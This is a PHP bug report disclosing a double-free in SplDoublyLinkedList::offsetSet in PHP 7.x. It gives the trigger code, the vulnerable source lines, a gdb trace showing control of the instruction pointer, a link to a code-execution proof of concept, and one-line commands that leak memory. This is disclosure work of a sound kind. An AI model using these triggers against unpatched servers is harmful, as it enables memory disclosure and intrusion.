|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-03-07 23:31 UTC] emmanuel dot law at gmail dot com
Description:
------------
This issues only affects php 7.x branch.
There exist a double-free vulnerability when calling SplDoublyLinkedList::offsetSet and passing in an invalid index.
Example:
$var_1=new SplStack();
$var_1->offsetSet(100,new DateTime('2000-01-01'));
//DateTime will be double-freed
The vulnerability is in ext/spl_dllist.c:833 where it is freed once:
832 if (index < 0 || index >= intern->llist->count) {
833 zval_ptr_dtor(value);
834 zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid or out of range", 0);
835 return;
836 }
837
The second free occurs in Zend/zend_vm_execute.h:855 when it cleans up the call stack:
854 EG(current_execute_data) = call->prev_execute_data;
855 zend_vm_stack_free_args(call);
I've created a poc that exploits this to gain code execution:
gdb --args php_7.0.4 doublefree.spl_dllist.poc.php
....
Stopped reason: SIGSEGV
0x00000000deadbeef in ?? ()
gdb-peda$ p $rip
$1 = (void (*)()) 0xdeadbeef
POC can be obtained via https://www.dropbox.com/s/2tm8mlrdhfitymv/doublefree.SplStack.poc.php?dl=0
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Wed Nov 05 06:00:01 2025 UTC |
The specially crated code i gave was to gain remote code execution. Here are several simpler examples that leak the memory. Notice how each time I change the length of str_repeat, it leaks different part of the memory: #### Example 1, str_repeat 0x5 ##### $ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x05));' <<< string length Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1 Stack trace: #0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'function') <<<<<< Leaks 'function' #1 {main} thrown in Command line code on line 1 #### Example 2, str_repeat 0x15 ##### $ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x15));' Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1 Stack trace: #0 Command line code(1): SplDoublyLinkedList->offsetSet(0, '\x01\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00...') <<<<<< Leaks random bytes in memory #1 {main} thrown in Command line code on line 1 #### Example 3, str_repeat 0x20 ##### $ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x20));' Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1 Stack trace: #0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'OutOfRangeExcep...') <<<<<< Leaks other strings in memory #1 {main} thrown in Command line code on line 1 #### Example 4 str_repeat 0x30 ##### $ ~/php-7.0.4/sapi/cli/php -r '(new SplStack())->offsetSet(0,str_repeat("A",0x30));' Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in Command line code:1 Stack trace: #0 Command line code(1): SplDoublyLinkedList->offsetSet(0, 'AAAAAAAAAAAAAAA...') <<< this is the expected output. #1 {main} thrown in Command line code on line 1 This discrepancies in the output are all manifestation of the double free vulnerability. Depending on what is passed into the vulnerable function, it results in different form of exploitation. Thus I think it's a security issue. Imagine a plausible code such as: <?php new SplStack())->offsetSet($_GET['id'],$_GET['data']); ?>